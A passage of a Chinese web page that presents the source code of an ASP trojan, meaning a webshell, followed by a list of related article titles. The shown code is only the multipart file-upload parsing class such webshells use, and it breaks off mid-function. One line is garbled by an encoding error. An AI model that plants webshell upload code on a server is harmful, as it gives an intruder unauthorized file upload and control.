我爱Aspx >> Asp.Net >> 一个ASP木马程序的源代码iFindStart = InStr(iFindEnd,sInfo,"Content-Type: ",1)+14
iFindEnd = InStr(iFindStart,sInfo,vbCr)
theFile.FileType =Mid (sinfo,iFindStart,iFindEnd-iFindStart)
theFile.FileStart =iInfoEnd
theFile.FileSize = iFormStart -iInfoEnd -3
theFile.FormName=sFormName
if not objFile.Exists(sFormName) then
objFile.add sFormName,theFile
end if
else
tStream.Type =1
tStream.Mode =3
tStream.Open
Data_5xsoft.Position = iInfoEnd
Data_5xsoft.CopyTo tStream,iFormStart-iInfoEnd-3
tStream.Position = 0
tStream.Type = 2
tStream.Charset ="gb2312"
sFormValue = tStream.ReadText
tStream.Close
if objForm.Exists(sFormName) then
objForm(sFormName)=objForm(sFormName)&", "&sFormValue
else
objForm.Add sFormName,sFormValue
end if
end if
iFormStart=iFormStart+iStart+1
wend
RequestData=""
set tStream =nothing
End Sub
Private Sub Class_Terminate
if Request.TotalBytes>0 then
objForm.RemoveAll
objFile.RemoveAll
set objForm=nothing
set objFile=nothing
Data_5xsoft.Close
set Data_5xsoft =nothing
end if
End Sub
Private function GetFilePath(FullPath)
If FullPath <> "" Then
GetFilePath = left(FullPath,InStrRev(FullPath, "\"))
Else
GetFilePath = ""
End If
End function
Private function GetFileName(FullPath)
Ҷƪл˵?
一个ASP统计制作实例[05-15]
用文本+ASP打造新闻发布系统[05-15]
防范ASP木马的十大基本原则[05-15]
ASP木马的原理和基本防范方法[05-15]
用ASP木马实现FTP和解压缩[05-15]
在ASP程序中实现数据库事务控制[05-15]
20种看ASP程序源码的方法及工具[05-15]
深入理解ASP中FSO的神奇功能[05-15]
ASP内置对象Request和Response详..[05-15]
在ASP中轻松实现记录集分页显示[05-15]
一个ASP统计制作实例[05-15]
用文本+ASP打造新闻发布系统[05-15]
防范ASP木马的十大基本原则[05-15]
ASP木马的原理和基本防范方法[05-15]
用ASP木马实现FTP和解压缩[05-15]
在ASP程序中实现数据库事务控制[05-15]
20种看ASP程序源码的方法及工具[05-15]
深入理解ASP中FSO的神奇功能[05-15]
借他人的程序造自己的家园 菜鸟也..[05-15]
ASP内置对象Request和Response详..[05-15]